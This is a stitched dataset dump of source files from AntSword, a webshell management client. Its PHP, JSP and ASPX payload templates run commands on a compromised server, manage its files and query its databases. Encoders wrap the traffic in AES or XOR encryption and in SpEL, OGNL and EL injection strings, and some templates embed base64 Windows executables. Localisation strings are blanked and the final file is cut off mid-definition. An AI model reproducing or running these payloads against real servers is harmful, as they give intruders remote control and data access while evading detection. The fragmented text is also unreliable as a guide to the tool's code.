text stringlengths 9 39.2M | dir stringlengths 26 295 | lang stringclasses 185
values | created_date timestamp[us] | updated_date timestamp[us] | repo_name stringlengths 1 97 | repo_full_name stringlengths 7 106 | star int64 1k 183k | len_tokens int64 1 13.8M |
|---|---|---|---|---|---|---|---|---|
```javascript
/**
* php::default
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc
*/
asoutput: () => {
return `function asenc($out){
return $out;
}
`.replace(/\n\s+/g, '');
},
/**
* Buffer
* @param {Buffer} buff Buffer
* @returns {Buffer} Buffer
*... | /content/code_sandbox/source/core/phpraw/decoder/default.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 110 |
```javascript
module.exports = () => ({
show_databases: {
_: `TVqQAAMAAAAEAAAA//your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashsAA... | /content/code_sandbox/source/core/aspxcsharp/template/database/sqlserver.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 3,585 |
```javascript
/**
* ::
* : 2016/04/23
* : 2016/05/10
* : <path_to_url
*/
'use strict';
//
const path = require('path');
const Module = require('module').Module;
const {
remote
} = require('electron');
Module
.globalPaths
.push(path.join(remote.process.env.AS_WORKDIR, 'source'));
//
let APP_START_TIME ... | /content/code_sandbox/source/load.entry.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,369 |
```javascript
/**
*
* ?
*/
module.exports = () => ({
info: {
_: `$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")
$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D}\t";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))$R.="{$L}:";
}else{
$R... | /content/code_sandbox/source/core/phpraw/template/base.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 374 |
```javascript
/*
oracle
*/
module.exports = require('./default');
``` | /content/code_sandbox/source/core/aspxcsharp/template/database/oracle.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 12 |
```javascript
/**
* UI::tabbar
* -
* 2016/05/03
* -
* <path_to_url
*/
'use strict';
class Tabbar {
constructor(opts) {
// ID
let id = 'tabbar_' + (Math.random() * +new Date)
.toString(16)
.replace('.', '')
.substr(0, 11);
let tabbar = antSword['tabbar'];
//
tabbar.addT... | /content/code_sandbox/source/ui/tabbar.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 529 |
```javascript
//
//
//
module.exports = (arg1, arg2, arg3) => ({
exec: {
_: 'TVqQAAMAAAAEAAAA//your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha2... | /content/code_sandbox/source/core/aspxcsharp/template/command.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,259 |
```javascript
/**
* ::sqlsrv
* php >= 5.3 mssql, sqlsrv sqlserver
* i => \\t|\\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `
$hst=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd... | /content/code_sandbox/source/core/phpraw/template/database/sqlsrv.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,120 |
```javascript
//
// language::zh
//
module.exports = {
title: '',
toastr: {
info: '',
error: '',
warning: '',
success: ''
},
menubar: {
main: {
title: 'AntSword',
about: '',
pluginStore: '',
settings: '',
language: '',
encoders: '',
aproxy: '',
... | /content/code_sandbox/source/language/zh_hk.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 4,911 |
```javascript
/**
* ::
* 2016/05/02
* <path_to_url
*/
'use strict';
const path = require('path');
const electron = require('electron');
const {
app,
shell,
protocol,
BrowserWindow
} = require('electron');
// scheme, web storage apis (localStorage, sessionStorage, webSQL,
// indexedDB, cookies) schemes
... | /content/code_sandbox/app.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 671 |
```javascript
/**
* ::mysql
* i => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `
$hst=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
list($hst, $port) = explode(":", ... | /content/code_sandbox/source/core/phpraw/template/database/mysqli.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 932 |
```javascript
//
// language::zh
//
module.exports = {
title: '',
toastr: {
info: '',
error: '',
warning: '',
success: ''
},
menubar: {
main: {
title: 'AntSword',
about: '',
pluginStore: '',
settings: '',
language: '',
encoders: '',
aproxy: '',
... | /content/code_sandbox/source/language/zh_tw.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 4,916 |
```javascript
/**
* ASPXCsharp
* 2021/11/09
* -
* yzddMr6 <path_to_url
*
*/
"use strict";
// import Base from '../base';
const Base = require("../base");
class ASPXCSHARP extends Base {
constructor(opts) {
super(opts);
//
[
"base",
"command",
"filemanager",
'database/sqlse... | /content/code_sandbox/source/core/aspxcsharp/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 590 |
```javascript
/**
* :: sqlite3
* i => \\t|\\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `
$hst=base64_decode("#{base64::host}");
$dbh=new SQLite3($hst);
if(!$dbh){
echo("ERROR:// CONNECT ERROR".SQLite3::lastErrorMsg());
}else{
... | /content/code_sandbox/source/core/phpraw/template/database/sqlite3.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 849 |
```javascript
/**
*
*/
module.exports = (arg1, arg2, arg3) => ({
dir: {
_: `$D=base64_decode(substr("#{newbase64::path}",#randomPrefix#));$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));... | /content/code_sandbox/source/core/phpraw/template/filemanager.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,366 |
```javascript
/**
* ::
*/
'use strict';
const languages = {
'en': 'English',
'zh': '',
'zh_hk': '()',
'zh_tw': '()'
}
//
let lang = antSword['storage']('language', false, navigator.language.substr(0, 2));
//
lang = languages[lang] ?
lang :
'en';
//
let langModule = require(`./${lang}`);
langModule.... | /content/code_sandbox/source/language/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 109 |
```javascript
/**
*
*/
module.exports = (arg1, arg2, arg3) => ({
exec: {
_: `$p=base64_decode(substr("#{newbase64::bin}",#randomPrefix#));
$s=base64_decode(substr("#{newbase64::cmd}",#randomPrefix#));
$envstr=@base64_decode(substr("#{newbase64::env}",#randomPrefix#));
$d=dirname($_SERVER["SC... | /content/code_sandbox/source/core/phpraw/template/command.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,186 |
```javascript
//
// language::en
//
module.exports = {
toastr: {
info: 'Info',
error: 'Error',
warning: 'Warning',
success: 'Success'
},
menubar: {
main: {
title: 'AntSword',
about: 'About',
pluginStore: 'Plugin Store',
settings: 'System setting',
language: 'Langu... | /content/code_sandbox/source/language/en.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 7,297 |
```javascript
/**
* php::base64
* ? phpbase64_decode
*/
'use strict';
const rot13encode = (s) => {
//use a Regular Expression to Replace only the characters that are a-z or A-Z
return s.replace(/[a-zA-Z]/g, function (c) {
// Get the character code of the current character and add 13 to it If it is
// la... | /content/code_sandbox/source/core/phpraw/decoder/rot13.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 216 |
```javascript
//
// language::zh
//
module.exports = {
title: '',
toastr: {
info: '',
error: '',
warning: '',
success: ''
},
menubar: {
main: {
title: 'AntSword',
about: '',
pluginStore: '',
settings: '',
language: '',
encoders: '',
aproxy: '',
... | /content/code_sandbox/source/language/zh.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 4,920 |
```javascript
/**
* ::postgresql_pdo
* i => \\t|\\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `
$hst=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
list($host, $port,$dbn... | /content/code_sandbox/source/core/phpraw/template/database/postgresql_pdo.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,458 |
```javascript
/**
* ::oracle oci8
* i => \\t|\\t
*
* session_mode: OCI_DEFAULT 0 OCI_SYSOPER 4 OCI_SYSDBA 2
*
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `
$sid=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=ba... | /content/code_sandbox/source/core/phpraw/template/database/oracle_oci8.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,574 |
```javascript
/**
* ::mssql
* i => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `
$hst=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
$T=@mssql_connect($hst,$usr,$pwd)... | /content/code_sandbox/source/core/phpraw/template/database/mssql.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 885 |
```javascript
/**
* ::postgresql
* i => \\t|\\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `
$hst=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
list($host,$port,$dbn) = e... | /content/code_sandbox/source/core/phpraw/template/database/postgresql.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,515 |
```javascript
'use strict'
module.exports = (pwd, data, ext = null) => {
//
data[pwd] = Buffer.from(data['_']).toString("hex");
delete data['_'];
//
return data;
}
``` | /content/code_sandbox/source/core/phpraw/encoder/hex.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 49 |
```javascript
/**
* :: sqlite3 pdo
* i => \\t|\\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `
$hst=base64_decode("#{base64::host}");
$cs='sqlite:'.$hst;
$dbh=new PDO($cs,'','');
if(!$dbh){
echo("ERROR:// CONNECT ERROR");
}e... | /content/code_sandbox/source/core/phpraw/template/database/sqlite_pdo.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 844 |
```javascript
/**
* php:: behinder XOR , openssl
* Create at: 2021/01/10 01:10:53
*
*/
'use strict';
var CryptoJS = require('crypto-js');
/*
* @param {String} pwd
* @param {Array} data payload
* @return {Array} data payload
*/
module.exports = (pwd, data, ext={}) => {
let randomID;
if (ex... | /content/code_sandbox/source/core/phpraw/encoder/behinder3xor.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 283 |
```javascript
'use strict';
module.exports = (pwd, data, ext = null) => {
data[pwd] = Buffer.from(data['_']).toString('base64');
delete data['_'];
return data;
}
``` | /content/code_sandbox/source/core/phpraw/encoder/base64.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 44 |
```javascript
/**
* php:: behinder AES
* Create at: 2021/01/10 01:10:53
*
*/
'use strict';
var CryptoJS = require('crypto-js');
function decryptText(keyStr, text) {
let buff = Buffer.alloc(16, 'a');
buff.write(keyStr,0);
keyStr = buff.toString();
let decodetext = CryptoJS.AES.decrypt(text, CryptoJS.enc.... | /content/code_sandbox/source/core/phpraw/encoder/behinder3.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 447 |
```javascript
/**
* CUSTOM
* 2016/04/12
* -
* <path_to_url
*/
'use strict';
// import Base from '../base';
const Base = require('../base');
class CUSTOM extends Base {
constructor(opts) {
super(opts);
//
[
'base',
'command',
'filemanager',
'database/sqlserver',
'data... | /content/code_sandbox/source/core/custom/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 475 |
```javascript
/**
* CUSTOM::hex_base64
* hex(base64) base64 , hex
* Create at: 2019/05/31 12:42:35
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc base64
* asenc
* shell
*/
asoutput: () => {
return ''; // , asenc CUSTOM
},
/**
* Buffer
* @param {string} data ... | /content/code_sandbox/source/core/custom/decoder/hex_base64.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 155 |
```javascript
/**
* CUSTOM::hex
* Create at: 2019/05/31 12:42:35
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc base64
* asenc
* shell
*/
asoutput: () => {
return ''; // , asenc CUSTOM
},
/**
* Buffer
* @param {string} data Buffer
* @returns {string} Buffer... | /content/code_sandbox/source/core/custom/decoder/hex.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 133 |
```javascript
/**
* CUSTOM::base64
* Create at: 2019/05/31 12:42:35
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc base64
* asenc
* shell
*/
asoutput: () => {
return ''; // , asenc CUSTOM
},
/**
* Buffer
* @param {string} data Buffer
* @returns {string} Buf... | /content/code_sandbox/source/core/custom/decoder/base64.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 135 |
```javascript
//
//
//
module.exports = () => ({
exec: {
_: 'M',
'z1': '#{bin}',
'z2': '#{cmd}',
'z3': '#{env}'
},
listcmd: {
_: 'Y',
'z1': '#{binarr}'
}
})
``` | /content/code_sandbox/source/core/custom/template/command.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 68 |
```javascript
//
//
//
//
module.exports = () => ({
info: 'A',
probedb: 'Z', //
})
``` | /content/code_sandbox/source/core/custom/template/base.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 30 |
```javascript
//
//
//
module.exports = () => ({
dir: {
_: 'B',
'z1': '#{path}'
},
delete: {
_: 'E',
'z1': '#{path}'
},
create_file: {
_: 'D',
'z1': '#{path}',
'z2': '#{content}'
},
read_file: {
_: 'C',
'z1': '#{path}'
},
copy: {
_: 'H',
'z1': '#{path}... | /content/code_sandbox/source/core/custom/template/filemanager.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 296 |
```javascript
/*
<T>XDB</T>
<X>
oracle.jdbc.driver.OracleDriver
jdbc:oracle:thin:user/password@127.0.0.1:1521/test
</X>
*/
module.exports = require('./default');
``` | /content/code_sandbox/source/core/custom/template/database/oracle.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 48 |
```javascript
/*
<T>XDB</T>
<X>
com.mysql.jdbc.Driver
jdbc:mysql://localhost/test?user=root&password=123456
</X>
*/
module.exports = require('./default');
``` | /content/code_sandbox/source/core/custom/template/database/mysql.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 40 |
```javascript
//
//
//
// @params
// :encode SHELL
// :conn
// :sql SQL
// :db
// :table
module.exports = () => ({
show_databases: {
_: 'N',
'z0': '#{encode}',
'z1': '#{conn}'
},
show_tables: {
_: 'O',
'z0': '#{encode}',
'z1': '#{conn}',
'z2': '#{db}'
},
show_co... | /content/code_sandbox/source/core/custom/template/database/default.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 185 |
```javascript
/*
<T>XDB</T>
<X>
com.microsoft.sqlserver.jdbc.SQLServerDriver
jdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456
</X>
*/
module.exports = require('./default');
``` | /content/code_sandbox/source/core/custom/template/database/sqlserver.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 59 |
```javascript
//
// 16
//
'use strict';
module.exports = (pwd, data, ext = null) => {
let ret = {};
for (let _ in data) {
if (_ === '_') {
continue
};
ret[_] = Buffer
.from(data[_])
.toString('hex');
}
ret[pwd] = data['_'];
return ret;
}
``` | /content/code_sandbox/source/core/custom/encoder/hex.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 85 |
```javascript
/**
* CUSTOM::default
*/
'use strict';
module.exports = {
asoutput: () => {
return ``.replace(/\n\s+/g, '');
},
decode_buff: (data) => {
return data;
}
}
``` | /content/code_sandbox/source/core/custom/decoder/default.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 52 |
```javascript
//
// custom::base64
//
// :base64
//
'use strict';
module.exports = (pwd, data, ext = null) => {
let ret = {};
for (let _ in data) {
if (_ === '_') {
continue
};
ret[_] = Buffer
.from(data[_])
.toString('base64');
}
ret[pwd] = data['_'];
return ret;
}
``` | /content/code_sandbox/source/core/custom/encoder/base64.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 94 |
```javascript
/**
* jspjs::reverse
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc
*/
asoutput: () => {
return `function asenc(str){
var h = "0123456789ABCDEF";
var bytes = str.getBytes(cs);
var sb = new StringBuilder(bytes.length * 2);
for (var i = 0; i < bytes.... | /content/code_sandbox/source/core/jspjs/decoder/hex.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 201 |
```javascript
/**
* php::default
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc
*/
asoutput: () => {
return `function asenc(str){
return str;
}
`.replace(/\n\s+/g, '');
},
/**
* Buffer
* @param {Buffer} buff Buffer
* @returns {Buffer} Buffer
*/
... | /content/code_sandbox/source/core/jspjs/decoder/default.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 108 |
```javascript
/**
* JSPJS
* 2021/04/06
* -
* yzddMr6 <path_to_url
*/
'use strict';
const Base = require('../base');
class JSPJS extends Base {
static get supportRawBody() {
return true;
}
constructor(opts) {
super(opts);
//
[
'base',
'command',
'filemanager',
'datab... | /content/code_sandbox/source/core/jspjs/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,049 |
```javascript
/**
* jspjs::b64reverse
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc
*/
asoutput: () => {
return `function asenc(str){
importPackage(Packages.sun.misc);
importPackage(Packages.java.util);
var ret = "";
try {
ret = new Base64().getEncode... | /content/code_sandbox/source/core/jspjs/decoder/b64reverse.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 200 |
```javascript
/**
* jspjs::base64
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc base64
*/
asoutput: () => {
return `function asenc(str){
importPackage(Packages.sun.misc);
importPackage(Packages.java.util);
var ret = "";
try {
ret = new Base64(... | /content/code_sandbox/source/core/jspjs/decoder/base64.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 192 |
```javascript
/**
* jspjs::rot13
*/
'use strict';
const rot13encode = (s) => {
//use a Regular Expression to Replace only the characters that are a-z or A-Z
return s.replace(/[a-zA-Z]/g, function (c) {
// Get the character code of the current character and add 13 to it If it is
// larger than z's charact... | /content/code_sandbox/source/core/jspjs/decoder/b64rot13.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 321 |
```javascript
/**
*
* ?
*/
module.exports = () => ({
info: {
_: `function SysInfoCode() {
var d = System.getProperty("user.dir");
var serverInfo = System.getProperty("os.name");
var user = System.getProperty("user.name");
var driverlist = WwwRootPathCode(d);
return d + "\t" + d... | /content/code_sandbox/source/core/jspjs/template/base.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 394 |
```javascript
/**
*
*/
module.exports = (arg1, arg2, arg3) => ({
exec: {
_: `
function ExecuteCommandCode(cmdPath, command, envstr) {
var sb = new StringBuffer();
var split = isWin() ? "/c" : "-c";
var s = [cmdPath, split, command];
var readonlyenv = System.getenv();
var cmde... | /content/code_sandbox/source/core/jspjs/template/command.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 590 |
```javascript
//
// oracle
//
// @params
// :encode SHELL
// :conn
// :sql SQL
// :db
// :table
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
show_databases: {
_: `
function executeSQL(encode, conn, sql, columnsep, rowsep, needcoluname) {
importPackage(Packages.... | /content/code_sandbox/source/core/jspjs/template/database/oracle.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,766 |
```javascript
/**
*
*/
module.exports = (arg1, arg2, arg3) => ({
dir: {
_: `
function FileTreeCode(dirPath) {
var oF = new File(dirPath);
var l = oF.listFiles();
var s = "", sT, sQ, sF = "";
var dt;
var fm = new java.text.SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for (va... | /content/code_sandbox/source/core/jspjs/template/filemanager.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 2,661 |
```javascript
//
//
//
// @params
// :encode SHELL
// :conn
// :sql SQL
// :db
// :table
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
show_databases: {
_: `
function executeSQL(encode, conn, sql, columnsep, rowsep, needcoluname) {
importPackage(Packages.java.sql);
... | /content/code_sandbox/source/core/jspjs/template/database/mysql.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,735 |
```javascript
'use strict';
module.exports = (pwd, data, ext = null) => {
data[pwd] = `T(javax.script.ScriptEngineManager).newInstance().getEngineByName("js").eval(new String(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('${Buffer.from(data['_']).toString('base64')}')))`;
delete data['_'];
retu... | /content/code_sandbox/source/core/jspjs/encoder/spelbase64.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 79 |
```javascript
'use strict';
module.exports = (pwd, data, ext = null) => {
data[pwd] = `(new javax.script.ScriptEngineManager()).getEngineByName("js").eval(new String(@com.sun.org.apache.xml.internal.security.utils.Base64@decode('${Buffer.from(data['_']).toString('base64')}')))`;
delete data['_'];
return data;
}
... | /content/code_sandbox/source/core/jspjs/encoder/ognl.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 77 |
```javascript
'use strict';
module.exports = (pwd, data, ext = null) => {
let randomID;
if (ext.opts.otherConf['use-random-variable'] === 1) {
randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);
} else {
randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).subst... | /content/code_sandbox/source/core/jspjs/encoder/el.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 149 |
```javascript
//
// sqlserver
//
// @params
// :encode SHELL
// :conn
// :sql SQL
// :db
// :table
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
show_databases: {
_: `
function executeSQL(encode, conn, sql, columnsep, rowsep, needcoluname) {
importPackage(Packages.java.... | /content/code_sandbox/source/core/jspjs/template/database/sqlserver.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,723 |
```javascript
/**
* PHP
* 2016/04/12
* -
* <path_to_url
*/
'use strict';
// import Base from '../base';
const Base = require('../base');
class PHP extends Base {
constructor(opts) {
super(opts);
//
[
'base',
'command',
'filemanager',
'database/mysql',
'database/mysql... | /content/code_sandbox/source/core/php/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,143 |
```javascript
/**
*
*/
module.exports = (arg1, arg2, arg3) => ({
exec: {
_: `$p=base64_decode(substr($_POST["${arg1}"],#randomPrefix#));
$s=base64_decode(substr($_POST["${arg2}"],#randomPrefix#));
$envstr=@base64_decode(substr($_POST["${arg3}"],#randomPrefix#));
$d=dirname($_SERVER["SCRIPT_F... | /content/code_sandbox/source/core/php/template/command.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,264 |
```javascript
/**
*
*/
module.exports = (arg1, arg2, arg3) => ({
dir: {
_: `$D=base64_decode(substr($_POST["${arg1}"],#randomPrefix#));$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E... | /content/code_sandbox/source/core/php/template/filemanager.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,853 |
```javascript
/**
* ::oracle
* i => \\t|\\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `$m=get_magic_quotes_gpc();
$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslas... | /content/code_sandbox/source/core/php/template/database/oracle.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,299 |
```javascript
/**
* ::mysql
* i => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `$m=get_magic_quotes_gpc();
$hst=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));
$usr=base64_decode(substr($m?stripslashes($_P... | /content/code_sandbox/source/core/php/template/database/mysql.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,433 |
```javascript
/**
* ::mysql
* i => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `$m=get_magic_quotes_gpc();
$hst=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));
$usr=base64_decode(substr($m?stripslashes... | /content/code_sandbox/source/core/php/template/database/mysqli.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,586 |
```javascript
/**
* :: sqlite3
* i => \\t|\\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$dbh=new SQLite3($hst);
if(!$dbh){
echo("ERROR://CONNECT ERR... | /content/code_sandbox/source/core/php/template/database/sqlite3.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,210 |
```javascript
/**
* ::informix
* i => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
